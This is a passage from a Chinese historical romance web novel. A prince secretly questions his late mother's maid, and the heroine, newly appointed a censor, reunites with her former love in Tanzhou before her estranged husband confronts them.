,就见伙计找到一个中年模样的男人,两人视线齐齐望来,中年人旋即快步走了过来。 中年男人走到云娘面前,弓着身子先做了自我介绍,和蔼道:“娘子来我店多次,承蒙娘子关照本店,这些方剂药材全给您免费升级最顶级的品质,您跟我来,我们需要一点儿时间准备。” 云娘意外,她每次买药不在意价格,从来指明最好的等级,怎么还有更高级?云娘问出了疑惑。 王掌柜笑着解释:“卖给客人的和留着自用的,怎会一样?正是因为娘子每次来都买最贵的,我们才会回馈您顶级货品。” 王掌柜带着云娘和小丫鬟上了二楼,打开一间厢房让两人稍后,又命人送上了茶。 虽觉得奇怪,但给自己最好的药材,于己没什么害处,云娘便坐下等。喝完了一盏茶,还没有任何动静,云娘想出门打探看看,她走到门口,刚刚推开门,一个年轻伙计笑容可掬迎上来问:“娘子需要什么?可是等急了?我们掌柜马上来!” 伸手不打笑脸人,云娘见着伙计和气模样,退回了房间,和小丫鬟又喝完一盏茶,这次云娘不想再等,她推开门,再次迎上伙计的笑脸,云娘道:“我们还有事儿,药材可以送到我家或者我下次来拿。” 伙计忙堵上去路,笑道:“王掌柜刚刚传话过来,马上就好!” 云娘愈发觉得蹊跷,站在伙计面前坚持要走,推推搡搡间,王掌柜突然冒了出来,笑呵呵道:“娘子久等,娘子久等,您跟我来!” 云娘带着小丫鬟跟上,王掌柜道:“就是取个药,娘子您一个人就行,楼上存放着稀世药材,人多不便。” 只是再上一层楼,云娘将信将疑,跟着王掌柜上了楼。一上三楼,云娘顿时感觉非凡,地上铺着流云般色彩斑斓地毯,走在上面静寂无声又舒适异常,墙上镶嵌着精致繁复的描金木雕,雅致贵气,就连头顶大梁也描着各种神仙故事的彩绘,云娘相信,这里的确存着全皇城最顶级药材。 王掌柜推开了一扇门扉,垂首对云娘道:“请。” 门口立着一扇巨大紫檀木阳刻山水木雕,挡住了屋内所有视线,云娘跨进了门,绕着屏风走了两步,就听身后关门声音,她回头看去,王掌柜关上了门却并没有进屋。 “王掌柜!”云娘对着门扉唤道。 耳边传来温和年轻男子声音:“云娘,喜云?” 云娘一惊,喜云的名字很多年没人如此称呼自己,她顺着声音看过去,一位高大俊朗的年轻男子站在窗棂边,他背对着光线,脸上颜色显得暗淡,但他和当今天子实在相像,云娘一眼就认出,他是在红枫寺见过的惠王萧忱,自家小姐的亲儿子。 眼泪瞬间飙出了眼眶,云娘慌忙垂下头,狂眨眼睛想克制眼中酸胀。 萧忱,他还是找来了!云娘又喜又叹,心中感触无以言表。曾经她想过,小姐的秘密她要带到坟墓里,她不会去积极寻找主动倾诉,可萧忱都找来了,他可是王爷,他定什么都知道,他是小姐和心上人在世上唯一儿子,她对他,还隐瞒什么呢。 “云娘,坐。”萧忱向云娘走来,示意云娘坐在八仙桌边,坐在自己身边。 云娘红着眼坐在了萧忱下首,萧忱拿起茶壶为云娘斟茶,云娘立即弹了起来,连声道:“奴婢自己来!” “云娘,你服侍我母亲一场,合该喝我一盏茶”,萧忱把茶盏递到云娘面前,温声问道:“你早认出了我罢,为何不来找我?你可知,这些年我找寻母亲和妹妹,夜不能寐?” 在方怀简提点萧忱,林蓁就是凤佩的主人后,萧忱很快厘清头绪。他本就有母亲和喜云画像,熟知她俩面貌,回忆和林蓁见面的点滴后,不费吹灰之力就确认了林蓁身边的云娘正是喜云。他就想寻个契机,悄悄找云娘问清楚当年往事,勿要打草惊蛇。 云娘连忙跪下,她接过萧忱的茶,泪如雨下:“奴婢谢过殿下!” 萧忱扶起云娘,她哽咽道:“是小姐,小姐临终交代奴婢,就让往事尘归尘土归土。” “母亲为何愿做林若柏的妾?” 萧忱想不明白,父皇口中母亲,霞姿月韵,咏絮之才,素来心高气傲,便是想嫁人躲在天高皇帝远的地方也不至做妾,何况林若柏除了样貌端正,能力平平,母亲若真聪慧怎会看上他。 云娘抹着泪,复述了当年她和小姐在观云庵躲避官府抓捕,遇到林若柏后一系列事情,云娘道:“当初陛下留了地址,让去衡州找知府薛大人,林若柏为潭州下面醴陵县县令,醴陵与衡州相邻,林若柏见小姐孤儿寡母,便说同路护送一程,又派人陪同寻找,我们找不到薛大人,林若柏好心收留才有后来之事。” 云娘掩面而泣,小姐与林若柏在一起细节她并不知晓,但她能猜到七八,林若柏必是用了些手段,可如今小姐都变成黄土,她和林若柏还有林承俭,在萧忱面前再提那些只会增加矛盾滋生事端,云娘掩去那些不堪往事,一直说到孟惠君身亡,说到她的遗愿。 “小姐是逃跑官婢,知道公子是当今天子后,打听到殿下在皇宫里安好,便放了心,从未有认亲想法,她临终愿望只想三个孩儿都平平安安长大,男孩有番事业,女孩嫁个好人家。” 萧忱的手指摩挲着茶盏,衡州知府薛大人曾经派人去潭州寻过母亲,母亲到了衡州竟然找不到薛大人,必有缘故。 他问云娘:“这些妹妹林蓁都知道吗?” 云娘想起林蓁意志坚定不想做公主不想认亲的话,不想在兄妹情谊间增添隔阂,云娘道:“只我一人知,我未向任何人提及,本想带到坟墓里,可今日殿下既然知道,来日若有机缘,求殿下去了小姐官婢身份,让小姐牌位能刻上原本姓名。” “还有,林蓁她,她原本”,云娘突然吞吞吐吐,萧忱问:“她怎么了?” 在萧忱面前话都说开了,云娘想着林蓁不愿做公主但一心做女官,这事儿只有萧忱能帮她,云娘道:“林蓁她,我从未和小姐说过,小姐至死都不知晓,在观云庵小姐病着单独住——” 云娘向萧忱说出只有自己一人知道的秘密,不,还有几人知道,但应该死的死散的散。 “小姐正是整日念着林蓁,才能在观云庵熬过来,她盼着林蓁嫁个好人家,还让林若柏为此发誓,可林蓁现在夫妻不睦,一心想做女官,如果殿下方便的话,还请多关照她些。” 云娘的话整得萧忱的心大起大落,如似幻梦,幸好他找到了观云庵静慈大师,还可以向她去求证,他也可以恰当时机带着云娘回潭州一趟,萧忱思索着,面色 肃然。 良久,他问:“林蓁和她夫君发生了什么,为何闹和离?” 云娘刚刚说林蓁什么都不知道,怎可能告诉萧忱,是因为林蓁知道时彦有攀附之心才娶她呢,云娘道:“当初林蓁喜欢的是方怀简,后面应该是时彦用了些手段娶了林蓁,林蓁婚后才知便要和离,具体什么,这孩子不肯和我说。” 萧忱了然,传言时彦身体有毛病,看来并未如此,不过骗心更甚骗身,想来林蓁不会再吃回头草,萧忱道:“自始至终她都是母亲眼中可爱乖巧的妹妹,我当然会帮她。” 云娘听到萧忱承诺,心下放心,她的放松尽在萧忱眼里,萧忱看向云娘,目光诚恳关切:“云娘,我更想帮你,你想要什么,或者想离开侯府,单独立个女户,我都可以帮你办到,不负你跟了我母亲一场。” 若是林蓁婚姻顺遂,云娘会很高兴听到这番话,可林蓁目前状态在云娘眼中就似浮萍,她虽不是云娘孩子,这么多年情谊早胜过母女之情,云娘感恩道:“林蓁没个着落,我就想跟在她身边,给她做个伴。” 萧忱点点头:“云娘尽可放心,母亲希望妹妹嫁个好人家,我定会实现母亲遗愿。” “现在我虽为王爷,但也不是任何事可以随心所欲,今日之事,云娘再莫告诉第三人,妹妹也不要告诉,我自会暗地助她,假以时日,等时机成熟,该有的都会有,该还的都会还。” 云娘点头,她当然知晓其中厉害,小姐到死都不认亲,为的就是儿子的平安,她怎会乱说。 “有事找我,可找王掌柜,他会知会我。” 云娘就要跪下谢恩,被萧忱一把扶起:“云娘,在我面前不必如此。” 云娘本担心林蓁的女官之路,得了萧忱承诺后心中松快,林蓁即便和离也会有萧忱照拂,她便没什么可担心,可她又有了新的隐忧,当今天子好几个皇子,萧忱会不会因为无母族撑腰而受到排挤,她在神佛前祈祷得更加勤勉。 转眼惠风和畅,柳丝绵密,到了春闱时间,林蓁不出云娘意料顺利通过考试,林承俭也考中贡士,一时间,英国公府和静苑,送恭贺来探望的亲朋好友络绎不绝,林蓁和林承俭迎来送往的同时等着朝廷委任官职。 云娘很为林蓁高兴,林蓁劝戒道:“只是八品小吏,云娘在我面前高兴高兴即可,在人前可别为我嘚瑟。” 云娘笑道:“怎么不该嘚瑟呢,你弟弟国子监读书,也才考了贡士,只有正九品呢。” 云娘本不懂这些,跟着林蓁回英国公府听到夫人们仆从议论,才知道林蓁的级别竟然高过弟弟。林蓁实则有些困惑,按照剧情,弟弟不仅考中贡士,还进了殿试,被天子钦点为官,现在只是正九品,估计外放为县令,若英国公大伯为弟弟运作一番,大概能留皇城和她一样做个小吏。 她清点着礼品,想到这些,不由自主喃喃道:“小弟水平实在我之上,我以为他能进殿试呢。” 云娘忽的意识到什么,问道:“贡士难道不厉害吗?” “几个堂哥都是进士,长辈们都说小弟比堂哥们读书厉害,按说最少也应该进士。” “许是发挥失常”,云娘拿起桌上最醒目的硕大红缎锦盒,岔开话题:“这个是什么,一看就是好东西。” 林蓁打开锦盒,竟是一对晶莹璀璨玉如意,还有一对红玉镂空二龙戏珠金簪,林蓁拿起金簪端详,这样制式可不是她的身份可以佩戴的首饰,她忙找出礼单详看。 “惠王送来的”,林蓁对云娘道,脸色有些不安。她许久未见过萧忱,彼此也没有什么联系,只在考上女官后托方怀简给萧忱送了封感谢信。 云娘也瞧出了不妥,她安慰:“惠王荐你跟着梅大人学习,又带你去冥想,又给你送书,想是对你寄予厚望,如今知晓你考上,必然是为你高兴才准备了厚礼。” “你好好为朝廷做事,便是对他的回报。” 林蓁颔首,她听说梅棠要离开皇城办案,正想央告她带自己去。她不想和时彦呆在同一屋檐下,早盼望考上女官离开皇城的日子,而且按照剧情进度,春闱后萧忱和几位皇子夺嫡争斗已拉开序幕,她不想听到方怀简和时彦争持的任何消息,眼不见心不烦。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 90-100 第91章 第 91 章 我喜欢你为我高兴 烟花三月暮春, 纸鸢像一朵接一朵春花在皇城天空争奇斗艳,林蓁被朝廷任命为正八品监察御史,跟随梅棠南下。 让林蓁意外的是,梅棠此次督办的案件竟是十八年前潭州废太子旧部剿杀案, 当年因太子被废黜, 潭州是太子妃母族老家, 势力盘根错节, 为了彻底端了这根老树,潭州官场几乎全部换血, 大部分官员和家眷不是处死就是流放,林蓁母亲孟惠君便是因秀才父亲是当地官员幕僚而受牵连,没籍为婢。 林蓁不知天子为何忽然翻起旧案,小说里没有这个情节,明晖以命换命死在萧忱怀里时, 遗愿就是他日萧忱登基后为此翻案, 林蓁本以为只有新帝登基,此案才有旧事重提可能。 想到母亲孟惠君名字极大可能重新展现在日光下, 林蓁的心像被春风吻过的柳芽,舒展惬意, 一路辛劳疲惫浑然不觉,肺腑里似有只云雀, 离潭州越近心里越欢腾。 皇城里一切被抛之脑后, 弟弟林承俭不愿在皇城混日子, 宁愿去地方为官做点儿实事,几乎和林蓁差不多时间离开皇城,时姝和萧策定了亲,他俩成亲的日子林蓁赶不回来, 林蓁提前送了份大礼。老祖母身体康健,毅勇侯颇得天子圣眷,大概天子爱屋及乌连带时彦为官如鱼得水,萧忱有方怀简辅佐也没什么可担心。 于公于私,跟随梅棠到潭州办案,林蓁心理上轻松非常,每日行走踩着风般轻盈,若回皇城后因聚少离多感情疏淡和时彦顺利和离,这段旅程堪称完满。 四月下旬,一行人抵达潭州,在潭州知府杨业则协助下,从府衙故纸堆里找出尘封已久当年案卷,梅棠带领着几位御史,一张张翻阅,梳理案情整理名册。 每日从早到晚忙碌不知倦怠,不知不觉来到五月。这日傍晚,槐花簌簌,流霞醉染,林蓁和同僚一同用完晚膳,回到自己厢房歇息。 刚坐下给自己斟了盏茶,窗棂前有人影一晃而过,随即门扉上响起轻轻叩门声,以为同僚来找,林蓁对着门扉道:“进来罢,门未栓。” 门扉被轻轻推开,高大清俊年轻男子跨步站在了门口。 林蓁讶然。 方怀简静静地立在那儿,他浸染在暮色斜晖里,似被镀了一层柔光,剑眉斜飞入鬓,高挺鼻梁半边没入浅影,眼底琥珀色的光像潭州湘江春水漫溢,笼住了整个房间。 许久未见,他的眉目清朗中带了些许无法言喻的锐利,大概跟随萧忱时间久了,沾染了他冷冽寒凉气息,林蓁实在意外,抚着茶盏的指尖力道偏了方向,茶盏突的歪斜,满盏茶水瞬间淌满了桌几,滴滴答答淌在林蓁衣袍上,林蓁急忙站起身,低头拂落身上水渍。 方怀简轻笑出声,缓步走了过来,拿出一方帕想帮林蓁擦拭,林蓁察觉出他的意图,倏地后退了一步,看向他道:“已经没有水了。” 方怀简没有应声,拿着巾帕的手悬在空中,他的手微微顿了顿,攥紧巾帕又去擦拭桌几上的茶水。 林蓁怎会让他做这些,赶忙走上前,推开他的手,感激道:“我来,我来。” 只觉指尖微微触碰了方怀简手背一瞬,林蓁只想推开他,不让他为自己烦劳这些琐碎杂事,而下一瞬,方怀简松开方帕,骤然扣住她的手,硕大的手掌一寸寸收紧,大拇指抵住她手腕上疯狂跳动的脉搏。 只是扣住手,却像箍住自己的心,林蓁顿时呼吸不畅,他的力道分明是禁锢,尾指却在她的手背上微微摩挲。 桌几上茶水流淌到地上,滴答滴答落水声烫到了林蓁心底。 林蓁被紧扣住的手发颤,心脏跳动的频率让她觉得不适,她看向方怀简的目光极力保持平静,温声提醒道:“世之,这儿是府衙的地盘。” 这里是潭州知府杨业则为御史大人梅棠一行人安排的住处,梅棠单独一个院落,其余品级小的官员集体住在相邻的一个院落里。此刻门扉还大开着,同僚和仆从随时可能路过。 方怀简抓攥着林蓁的手不放,只是站直身子,将其笼在长而宽的广袖中。 方怀简道:“安安,我和离了,你知道罢?萧忱让我来照顾你。” 离开皇城前夕,林蓁 听时彦提到过,当时她心下惊异,但因不想和时彦多说话,并没有细问,此时,与方怀简数月未见,方怀简见面第一句话就是重回自由身,林蓁很难不多想。 林蓁问:“你家人怎会同意,你的表妹怎会答应,她不伤心难过?” “她另有了喜欢的人,我成全她,家人知道自然无话可说。” 林蓁想象着一个得不到丈夫宠爱的女子从他人处获得了温暖,爱上了他人,这样的结果对方怀简来说真是幸运至极,又想到萧忱对自己的诸多照拂,弟弟春闱只有芝麻小官的结果,林蓁有了疑问。 “萧忱让你来照顾我?是不是你,和他说了我是他一母同胞妹妹?” “没有”,方怀简毫不犹豫否认,他只提过凤佩,从未向萧忱说过类似兄妹的话,萧忱寻找母亲和妹妹的事情,始终极为隐秘进行,就是身边跟随多年的亲信都没几个人知道,更未向方怀简吐露过。 而且,方怀简相信,即便自己不提凤佩,以萧忱能耐,他迟早也会知道,自己只是加快了进度而已,如同他对萧忱的辅佐,让他更快靠近那个宝座。 “其实,他只是顺嘴提了一句”,方怀简解释,“我来潭州另有目的。明晖在皇城出没,我联系上了他,代表萧忱和他达成了交易,萧忱促使潭州废太子旧部剿杀案重查,作为回报,白莲教会在这一带闹事,由萧忱的人平了白莲教的祸端,让天子更倚赖信任惠王。” “白莲教为何要在潭州闹事?明晖也会来这里?” “自然是不放心废太子旧部剿杀案真的会重查,所以他会盯着,也只能在这里闹事了,将他教中眼中钉让我们替他拔了,彼此双赢。” “明面上,翰林院派我到潭州,学习潭州云鹭书院经验,以后全国推广,我会在这里待上很长一段时间。” “和你。” 方怀简眉眼轻松,而他吐露出来的简单几句却在林蓁心里掀起惊涛骇浪。 原来一切有迹可循,原来她以为明晖和萧忱再无瓜葛,却被方怀简的一番操作又联系了起来,小说中明晖借白莲教之势为萧忱夺位立了大功,看来这个大功方怀简是实际操盘手。 “你现在”,林蓁想了半晌,不知用什么词语形容方怀简,“好厉害。” 林蓁对方怀简微微一笑,自己哥哥即将荣登宝座,方怀简也会飞黄腾达,她为此真心高兴,他们都是自己最亲近的人。 “你为我高兴?”方怀简睫羽一颤,唇角漾翘起来。 原本蜷在袖中的手指攥得林蓁的手更紧,掌心里已有不知是谁的汗,方怀简却觉得粘腻得恰到好处,他喉间逸出一声轻笑,连眼尾都带上了笑意:“我喜欢你为我高兴”。 “好喜欢好喜欢,还会有更多值得你为我高兴的事。” 来到潭州后,他完全可以捎个口信给林蓁,可他根本管不住自己的脚,知道林蓁住址后第一时间找了来。 方怀简琥珀色眼眸中的光亮宛若屋外远处山峦上的金乌,暮色熔金温暖而微炙,他柔柔注视着林蓁,目光落处却似烫人的吻,让林蓁相应地即刻起了绯红,偏偏除了握在袖中的手,他什么都没做,而林蓁已感觉无处遁逃,无法阻拦来势汹涌的情潮。 第92章 第 92 章 你勾引有夫之妇! 五月第一个休沐日, 林蓁和方怀简约好,去潭州郊外孟家村看一看。 那日傍晚,方怀简突然闯进林蓁住处,人多眼杂, 说话不便, 林蓁匆忙间答应方怀简, 闲下来日子在外面找个说话的地方, 母亲孟惠君的祖屋就在孟家村,林蓁外祖母坟地也在哪儿, 林蓁便约了方怀简同行。 恰好春光明媚,沿路新柳深垂,蔷薇叠锦,林蓁坐着马车,方怀简骑着马跟随, 一路打听一路行走, 很快找到了郊外山脚下一处村落。 林蓁离开皇城时向云娘特意打听过此地,十几年过去, 这个小村落和云娘的描绘没有太多差异,屋顶黑瓦布满青苔, 阳光下倒显得格外生机盎然,村前一棵硕大无比槐树枝繁叶茂, 树下不远处有一井口, 井边坐着几个村妇边摘菜洗菜边谈笑着闲话, 潺潺小溪泛着金光安静绕过村口,几只鸭子在水面上游曳,带起一片耀金。 林蓁看到的第一眼便陡然升出熟悉感,几乎立刻确定了此处。 外祖父孟秀才的老屋就在村里, 可孟秀才一脉已断,林蓁不想再去村里打听徒增伤心,只顺着村边山道往山上走,云娘说过,村里都沾亲带故,村里坟墓都在一处,往山上走不到一刻钟就能看到。 村妇中有人看到林蓁一行人,远远招呼:“你们做什么的?” 方怀简应道:“路过,见风景好歇个脚。” 两人缓步行在山道上,春风习习,山花烂漫,方怀简觑着林蓁侧颜,凤头金簪在乌发间微微地晃,像花间采蜜随时要飞走的金蝶,白玉无瑕脸颊上隐隐有些绯红,她目不斜视,直直看着前方的路,好像忘了身边有个人。 方怀简不禁想起曾经。 曾经的曾经,他俩的前世,好的像一个人般,走到哪里都黏糊糊,除非眼前有熟人才装模作样一番,她总是搂着自己胳膊,他会察觉她疲累时心有灵犀背起她…… 就是一年前,他俩初识时,她也像一块小粘糕,只要出现在自己面前,就会黏着自己不放。 现在呢,来了潭州,好不容易才有这样一次机会,可以与她并肩同行在阳光下,这在一年前不过普通得不能再普通的日常,现在却是珍馐佳肴。 怪谁,自己弄丢了凤佩,自己活该承受,好在自己已找回了凤佩,虽然在萧忱手中,大概时机成熟他与林蓁认亲时,就会还给她。 一切都会回到原来轨道,虽然慢慢的,但自己能等,自己该等。 回忆着一年前在皇城宫门前小巷里,林蓁扑在自己身上,挂在自己脖梗上不肯放手却挨了一记老拳,方怀简眼眶泛红,他用余光打量着林蓁手的位置,倏地伸手牵住了她。 林蓁脸颊上的温热,顺着耳垂热到了脖颈。她明白方怀简的心思,早就察觉他的目光,然而他俩不是情侣,他虽然和离,她还有一个挂名夫君,她不可以做什么,可能不经意一个动作,就会燃起他胸中野火,噼里啪啦烧得失控。 可他还是脱了缰,他牵着她的手,与她十指相缠,五指嵌入指缝,掌心渗出细汗,林蓁的手似乎要融化在他的潮热里。 林蓁红着脸看向方怀简:“世之,别这样。” “这里没有人。” “你别这样,以后有空我们可以再约见面。” 握着的手紧了又松,松了又紧。 “我放开,以后休沐我们都可以见面么?” 林蓁想了想,艰难地点点头。 方怀简舒心地展颜,放开了林蓁的手。 有朝一日,他们会成婚,他朝这个目标日夜不倦地努力,越来越近了,他已看见了那一丝天光。 两人没走多久,就看到一处坟场,说是坟场,就是一片斜斜山坡上,密密挨挨地排列着许多墓碑,村里的人大概都葬在这里。 林蓁方怀简走进墓群,没多久就找到了外祖母的坟地。想是孟秀才在世 时,家境尚可,给自己发妻修的墓地占地面积数一数二,不仅面积大,还给墓碑做了一个石料拱形亭,周围细致地砌了石墙铺上了青砖,墓碑上好石料,高大结实,这么多年过去上面的碑刻清晰可见。 林蓁仔细瞧着,意外发现碑刻上除了外祖母,还有外祖父孟秀才和舅舅一家人的名讳,可云娘说,他们死在了充军路上尸骨无存,小说里描述也如云娘所说,是村里哪位故旧给他们做的衣冠冢? 无法探究真相,但林蓁心里似得到了抚慰,哀伤被冲淡了许多,她拿出准备好的贡果点心纸烛等,在长辈们的坟前磕了三个长头,心里祈祷着祖宗们保佑自己潭州之行顺利,母亲在天之灵得以告慰。 起身准备离开时,一转头发现方怀简亦虔诚跪在地上叩首,林蓁感动又好笑,等他站起身问他:“我家老祖宗,他们凭借血脉识得我,可真不认识你。” 看着林蓁似笑非笑的脸,方怀简心里前所未有过的轻松,他挑了挑眉,淡声道:“以后也会是我的祖宗。” 林蓁的笑尴尬挂在脸上,她当做没听见快步走开,方怀简转身跟在她身后。两人又回到山路,时辰还早,林蓁看看山路两头,想着下山还是去山上逛逛,犹豫间,远远看到山道上走下来一个人影,林蓁便站在路边等。 人影慢慢走近,是一个背着竹篓少年,少年目光也在两人身上打量,从未见过的陌生人,却像画里走出来般好看。 林蓁笑问:“小兄弟,我们路过此地,见这儿风景好随意转转,山上可有什么看的?” 眼前人声音宛若叮咚溪泉,少年眨着眼睛怀疑看到了神仙,他结结巴巴道:“这儿没什么可看的,砍柴和打猪草才上山”,见眼前仙女似乎有些失望,少年突然想到什么:“山顶可以看到潭州城,可以看到湘水,浏阳河。” 林蓁道了谢,打听好远近,将手中剩下的点心送给了少年。 “谢谢神仙姐姐神仙哥哥!” 方怀简在一旁抿嘴莞尔。 少年目送两人背影消失在林间,这才回过头,拿起手中点心仔细端详,小心翼翼轻咬上一小口,味蕾顿时充满了难以描述的甜蜜,以为自己做了个白日梦,此刻才真切感受到拥有的实感。将剩下点心揣在怀中,少年满脸笑意飞快地跑下了山。 林蓁和方怀简漫步到山顶,这里其实只是一个大的土丘,周围全是平原便显得这儿像座小山,山顶是一块平地,周围是茂密林地,不知谁家的山羊正悠闲在林间吃草。 阳光洒落在山顶,洒在方怀简身上,仿佛给他注入了神力,让他温柔而坚定,远处,湘水和浏阳河宛若两条金色丝绸相互交织延伸到天际,金色的光辉在潭州城上方铺展,那光辉透过云层,不错漏每一个人每一个物,暖意流转到城间每一个角落每一处缝隙,整个世界都被阳光温柔地拥抱。 出生在这儿的母亲,也曾经站在此处,和自己一样望向潭州城望向远处河流,畅想着阳光下美好生活罢,林蓁回想着一年前,自己为着爱人哭哭啼啼,可现在,竟然有能力为母亲为和母亲类似的那些家破人亡的官婢们做些什么,人的际遇和机缘妙不可言,林蓁想牢牢抓住的,此刻唯有上天赐予的这份契机,可以改变许多人命运的契机。 林蓁站在山顶风口,静静眺望远方。 蓦地,温暖的气息包围了她,脊背跌进宽阔的胸膛,方怀简突的从背后拥住了林蓁,埋头在她的颈侧,脸颊摩挲着她鬓边乌发。 林蓁的心跳骤然加速,各种思绪涌上心头,她想推开他,言语诱惑他放开,可这一次说什么做什么都不再管用,他的手臂拥着她的腰仿佛丢了钥匙的锁,气声在她耳畔央求。 “抱一会儿好么,就静静拥一会儿。” 林蓁停止了挣扎,她想起许多。 她知道他的心意,答应和他同游,潜意识里很清楚他渴盼什么,会做些什么,她还是出了门,还是单独和他同行,她内心也希望如此?这一世求而不得的他的拥抱,终于等来他主动的这一刻? 能够站在这里眺望潭州的山山水水一草一木,是方怀简搭上了明晖,在林蓁以为萧忱明晖成为对手死敌时,是方怀简将他俩黏合起来,给了林蓁站在此处的机缘。 和方怀简还会在一起吗,自己还想和他在一起吗?可自己在潭州见他第一面就放纵他,答应他,由着他…… 林蓁想不清。 近晌午时分山风像情侣间热吻,肆虐包裹着两人,热乎乎暖融融,也像方怀简的拥抱,密不透风裹挟,暖烫灼热,不知多久,林蓁感到肩头似乎有些湿润,她抬手想摸摸自己肩上衣裳,却猝不及防触碰到方怀简的脸颊,湿润冰冷的脸颊,快到夏天的季节却冻得她指尖微颤。 林蓁的心陡缩般的疼了一瞬,她还没想好如何安慰,方怀简摩挲着她的乌发又求道:“抱抱我,好么?就一下。” 他的声音可怜得像濒死之人的遗愿,林蓁无法忽略,刚刚战栗的心酸疼难抑,她在方怀简怀中缓缓转过身,抬眸看他,他的眼睛湿漉漉,一两根长长睫羽还黏在眼睑上,眼眸中蓄着泪,似乎随时会溃堤的河坝。 从没有见过这样的方怀简,上辈子的飞飞也没有这样的泪脸,他的脸是个小太阳,永远一副笑笑模样,这一世林蓁初见他的第一眼,认出他就是飞飞的第一眼,也是源于他笑意。 而现在的他,竟然哭了,流了两世未曾流过的泪? 方怀简没有说话,安安静静专注看着林蓁,双手箍住她的腰,似乎下一秒就再没有这样的机会。 林蓁的心愈发酸涩,酸意蔓延到眼睛,眼泪在眼眶边摇摇欲坠。这样的情景梦里出现过无数次,在被时隽挥拳受伤疼痛的夜晚,在父亲责罚被关禁闭苦闷的夜晚,在包子铺狭小空间难熬的夜晚……她总梦见方怀简想起一切,两人相拥大哭后天高云淡,重得圆满。 现在他想起了一切,他紧紧拥着自己,他也如梦中一般流着眼泪,而自己不敢哭,不敢伸出手,害怕在他面前释放后的失序,害怕再一次奔向圆满时被一路荆棘刺得浑身血淋淋……可眼泪就像初生婴儿的啼哭,怎么可能听自己的话呢。 在眼泪滚出瞬间,不想方怀简看到自己流泪,林蓁轻轻搭上方怀简的腰,头向外小心靠在他的肩上,挨上他肩的那瞬,泪珠静静滚过鼻梁没入发中。 方怀简轻轻喟叹了一声。 他想她抱着他,像以前一样紧紧抱着他,依赖着他,爱着他。 她这样做了,虽然很轻动作极缓,但他知道了,她心底还有他,因为各种原因,因为自己的错误和愚蠢,她把对他的爱小心地埋藏在心底。 方怀简紧紧按攥着林蓁的手,感受她的掌心在自己腰间的温暖,似乎她用尽力气搂着自己,他不断亲吻着她的发,感到她在颤抖,她也在流泪,他强掰过她的脸。 林蓁垂眸不看他,可眼睫还在发颤,鼻翼还在翕动,抿紧的嘴唇克制着战栗,方怀简垂首,情难自禁地覆上她的唇。 她的战栗仿佛可以传染,方怀简不由自主也震颤着,吻着她的唇,吻上她的泪,或许也是自己的泪,两人脸颊相贴分不清彼此眼泪,方怀简亲吻着舔舐着,直到吻干彼此泪痕,也或许是阳光是山风,让两人湿意蒸腾,吹散了彼此心中苦楚。 许久,方怀简在林蓁耳边喃喃:“以后,让我陪着你,好么。” 林蓁没有应答,方怀简默认她的允许牵起她的手,他牢牢攥紧,等了许久,等到了和林蓁牵手的这一天。 下山路上,飞鸟鸣啾着掠过林梢,山花随风轻落下簌簌地响,方怀简仰头眯眼看过去,林间树影斑驳,闪亮的光斑仿佛成亲时喜娘撒下的金箔,空气都是芳香幸福味道,一路竞放的野花似无数笑脸的宾客,都在为他俩毫无保留的欢笑。 等萧忱认亲,最晚不过萧忱登基,自己就可以迎娶林蓁,方怀简望着眼前的泥路,似乎它是一条康庄大道,连接着自己不远的幸福。 回城路上,乌云积聚天色渐渐暗沉,没多久落起了雨,方怀简被林蓁招呼上了她的马车。大雨滴落在车厢上,哗啦啦响得听不见周围其他声音,方怀简坐在车厢里,坐在林蓁身边,只觉这雨声好听得似一曲交响乐。 他今日特意骑马,为的就是有机会与林蓁同坐在车厢里,车外风雨如注,车内他和林蓁说着闲话,和她讲述萧忱谋划,萧忱夺嫡之路顺畅,小说中进度会大大提前。 瓢泼大雨让世界模糊在雨幕中,车帘时不时被风掀起,带进一阵雨雾,车厢里没多久变得潮湿黏润,车夫瞧见远处有座寺庙,对车厢里两人提议去避避雨。 马车在寺庙门前停下,林蓁先奔进了庙门,方怀简和车夫一起把马车的马解套,牵着两匹马到马棚安置妥当,才回到庙门。 林 蓁站在庙门里远远看着,等方怀简躲进来时,自己已是一身水雾,方怀简更是浑身湿哒哒,脸颊像刚洗过,头发衣袍都滴着水。 “快擦一擦!”见方怀简浑不在意,林蓁看着他催促。 天如染墨,雨似银瀑,本是极糟糕的一天,方怀简却觉今日是这辈子最为甜蜜的一天。 他顺从地掏出方帕擦脸,只是胡乱在脸上抹几下,眼眸目不转睛地盯着林蓁,嘴角噙着笑。 曾经的飞飞回来了,见他发梢不断坠下断线水珠,林蓁拿出自己丝帕想给他擦干发上的雨水,方怀简心底酥酥的甜,顺着林蓁手势微微垂首,低下头方便她擦拭。 林蓁刚刚擦了两下,忽觉后背起了一阵微风,她还没来得及回头,手心里的丝帕倏地被人抽走了。 手中空空,看向握着丝帕的那只大手,林蓁却再不敢回头,她给一个年轻男子擦雨水,却仿佛被人撞破奸情即将要被浸猪笼,而这撞破奸情的人,林蓁端详着眼前的手,修长有力,小麦色肤色,食指有着茧痕,无名指有一颗极小的黑痣…… 无比熟悉曾经夜夜抚摩她的手。 怎么会?! 林蓁僵硬地看着面前方怀简,他察觉出她动作停滞,微微抬起了头。 耳边响起谙熟的声线,低沉有力,每个字都含着锋利带着怒意,穿透了雨声。 “方怀简,你勾引有夫之妇!” 第93章 第 93 章 要为她做主? 撞入方怀简眼帘的是一只紧紧攥住丝帕的手, 太过用力而指节泛白,手背上青筋暴起,血液跳动其间似乎随时会冲破皮肤的禁锢。方怀简直起身,对上时彦能吞噬一切黑洞般的眼神, 脸上没有惊讶, 反而不屑地闪过一丝诮笑。 “勾引?若不是你厚颜, 毅勇侯求来一道圣意, 你现在和安安还能有什么关系?你和她的姻缘怎么来的,我们再干架一场让你清醒清醒?” 方怀简的声音渐渐冷冽:“现在不过一切复归原位, 你鸠占鹊巢,用尽阴谋诡计强占她,直到现在还死拽着她不放,你若知耻,早该干干净净滚出她的生活, 不再在她面前恶心她。 狗皮膏药般黏到这里, 还口吐污秽,毁安安名声, 你再多说她一个字,别怪我不客气!” 见林蓁傻愣着看着自己不动, 方怀简拉上她的手将她拽到自己身边,紧攥着她的手安慰道:“安安, 该心虚的是他, 我们光明磊落, 佛祖前都不惧。” 林蓁被方怀简拉过,对上时彦正面,她本没来由地心怯,听到方怀简一番义正言辞斥责, 恢复些许底气,她早就和他表明态度,是他强求不放,她都躲来潭州,他还阴魂不散追来,她有什么错呢,难道他不愿意和离,她还得被迫为他守一辈子? 